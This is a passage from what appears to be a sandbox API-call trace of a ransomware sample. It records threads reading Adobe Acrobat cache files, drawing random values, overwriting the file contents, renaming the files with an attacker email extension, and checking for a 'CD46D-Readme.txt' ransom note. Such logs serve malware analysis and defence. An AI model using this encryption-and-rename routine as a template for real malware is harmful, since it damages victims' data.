out: Seed=0x14cbf7f0) returned 0x7ac6248d [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x538079ea [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x34f49443 [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x2dfaf8b [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x47ec2f54 [0061.886] ReadFile (in: hFile=0x1270, lpBuffer=0x96fa100, nNumberOfBytesToRead=0x892c, lpNumberOfBytesRead=0x14cbf7e0, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x14cbf7e0*=0x892c, lpOverlapped=0x0) returned 1 [0061.888] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.888] WriteFile (in: hFile=0x1270, lpBuffer=0x965a670*, nNumberOfBytesToWrite=0x892c, lpNumberOfBytesWritten=0x14cbf7dc, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesWritten=0x14cbf7dc*=0x892c, lpOverlapped=0x0) returned 1 [0061.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290e8 [0061.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0061.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0061.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0061.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0061.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0061.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4a6360 [0061.890] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.890] WriteFile (in: hFile=0x1270, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x14cbf844, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x14cbf844*=0x115, lpOverlapped=0x0) returned 1 [0061.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0061.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a63a0) returned 1 [0061.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6360) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.892] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de0f8 [0061.892] wcscpy (in: _Dest=0x4de0f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" [0061.892] wcscat (in: _Dest=0x4de0f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d" [0061.892] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x14cbf7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x102) returned 0x44e420 [0061.894] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0061.894] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48f570) returned 1 [0061.894] NtQueryInformationFile (in: FileHandle=0x1270, IoStatusBlock=0x14cbf808, FileInformation=0x14cbf7e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x14cbf808, FileInformation=0x14cbf7e0) returned 0x0 [0061.894] NtSetInformationFile (FileHandle=0x1270, IoStatusBlock=0x14cbf808, FileInformation=0x14cbf7e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.895] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0061.895] FlushFileBuffers (hFile=0x1270) returned 1 [0062.217] CloseHandle (hObject=0x1270) returned 1 [0062.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443800 [0062.721] wcscpy (in: _Dest=0x443800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0062.721] wcscat (in: _Dest=0x443800, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" [0062.721] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cd46d-readme.txt")) returned 0x2020 [0062.973] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443800) returned 1 [0062.973] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442db0) returned 1 Thread: id = 840 os_tid = 0x10fc [0051.735] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst")) returned 0x2020 [0055.495] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst", dwFileAttributes=0x20) returned 1 [0065.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x126c [0065.310] GetFileSizeEx (in: hFile=0x126c, lpFileSize=0x1516f864 | out: lpFileSize=0x1516f864*=138459) returned 1 [0065.310] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x21cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.310] ReadFile (hFile=0x126c, lpBuffer=0x1516f7e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1516f7e4, lpOverlapped=0x0) Thread: id = 841 os_tid = 0x1100 [0051.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439a80 [0051.736] wcscpy (in: _Dest=0x439a80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" [0051.736] wcscat (in: _Dest=0x439a80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0051.736] wcscat (in: _Dest=0x439a80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*" [0051.736] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430608 [0051.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440d60 [0052.203] wcscmp (_String1=".", _String2=".") returned 0 [0052.203] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.203] wcscmp (_String1="..", _String2=".") returned 1 [0052.203] wcscmp (_String1="..", _String2="..") returned 0 [0052.203] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0052.203] wcscmp (_String1="AcroFnt10.lst", _String2=".") returned 1 [0052.203] wcscmp (_String1="AcroFnt10.lst", _String2="..") returned 1 [0052.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442fc0 [0052.203] wcscpy (in: _Dest=0x442fc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" [0052.203] wcscat (in: _Dest=0x442fc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0052.203] wcscat (in: _Dest=0x442fc0, _Source="AcroFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" [0066.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0066.063] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0066.063] FindClose (in: hFindFile=0x440d60 | out: hFindFile=0x440d60) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430608) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439a80) returned 1 [0066.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438060) returned 1 Thread: id = 842 os_tid = 0x1104 [0051.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents")) returned 0x2020 [0052.204] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents", dwFileAttributes=0x20) returned 1 [0061.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1264 [0061.817] GetFileSizeEx (in: hFile=0x1264, lpFileSize=0x153dfd3c | out: lpFileSize=0x153dfd3c*=5120) returned 1 [0061.817] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x13fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.817] ReadFile (in: hFile=0x1264, lpBuffer=0x153dfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x153dfcbc, lpOverlapped=0x0 | out: lpBuffer=0x153dfcc0*, lpNumberOfBytesRead=0x153dfcbc*=0x4, lpOverlapped=0x0) returned 1 [0061.818] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0061.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.818] NtQuerySystemTime (in: CurrentTime=0x153dfc9c | out: CurrentTime=0x153dfc9c*=132174898257996000) returned 0x0 [0061.818] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x61670baa [0061.818] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x19764173 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x4e1c4fb6 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x5d1247aa [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x75cef62b [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x3162b6b1 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x1fba0898 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x23427438 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x30e1545f [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x75444108 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x6d696e0f [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x8115d28 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x4b50c91b [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x22bd4618 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x48854280 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x1df3a7d4 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x5d2eccb3 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x378f0eab [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x71ebcf96 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x16748999 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x7bf54d1a [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x7c7560e1 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x512954c7 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x223c6c0e [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0xfe5e356 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x29385d17 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x7164abd1 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x74b6f5c2 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x503d003d [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x2a554284 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x2c03aac2 [0061.819] RtlRandomEx (in: Seed=0x153dfca8 | out: Seed=0x153dfca8) returned 0x3d9e3db5 [0061.831] ReadFile (in: hFile=0x1264, lpBuffer=0x96fa100, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x153dfc98, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x153dfc98*=0x1400, lpOverlapped=0x0) returned 1 [0061.832] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.832] WriteFile (in: hFile=0x1264, lpBuffer=0x965a670*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x153dfc94, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesWritten=0x153dfc94*=0x1400, lpOverlapped=0x0) returned 1 [0061.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0061.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0061.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0061.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0061.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40ad08 [0061.834] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.834] WriteFile (in: hFile=0x1264, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x153dfcfc, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x153dfcfc*=0x111, lpOverlapped=0x0) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.836] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0061.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x44e420 [0061.836] wcscpy (in: _Dest=0x44e420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" [0061.836] wcscat (in: _Dest=0x44e420, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.mailto[2Hamlampampom@cock.li].cd46d" [0061.836] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x153dfcb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfe) returned 0x12f4b3d8 [0061.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b3d8) returned 1 [0061.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4dc780) returned 1 [0061.837] NtQueryInformationFile (in: FileHandle=0x1264, IoStatusBlock=0x153dfcc0, FileInformation=0x153dfc98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x153dfcc0, FileInformation=0x153dfc98) returned 0x0 [0061.837] NtSetInformationFile (FileHandle=0x1264, IoStatusBlock=0x153dfcc0, FileInformation=0x153dfc98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.838] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0061.838] FlushFileBuffers (hFile=0x1264) returned 1 [0062.217] CloseHandle (hObject=0x1264) returned 1 [0062.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442d00 [0062.719] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0062.719] wcscat (in: _Dest=0x442d00, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" [0062.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cd46d-readme.txt")) returned 0x2020 [0062.974] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0062.974] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43dbd0) returned 1 Thread: id = 843 os_tid = 0x1108 [0051.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin")) returned 0x2020 [0052.203] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x20) returned 1 [0061.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1260 [0061.779] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x1533f8f0 | out: lpFileSize=0x1533f8f0*=77477) returned 1 [0061.779] SetFilePointerEx (in: hFile=0x1260, liDistanceToMove=0x12ea1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.779] ReadFile (in: 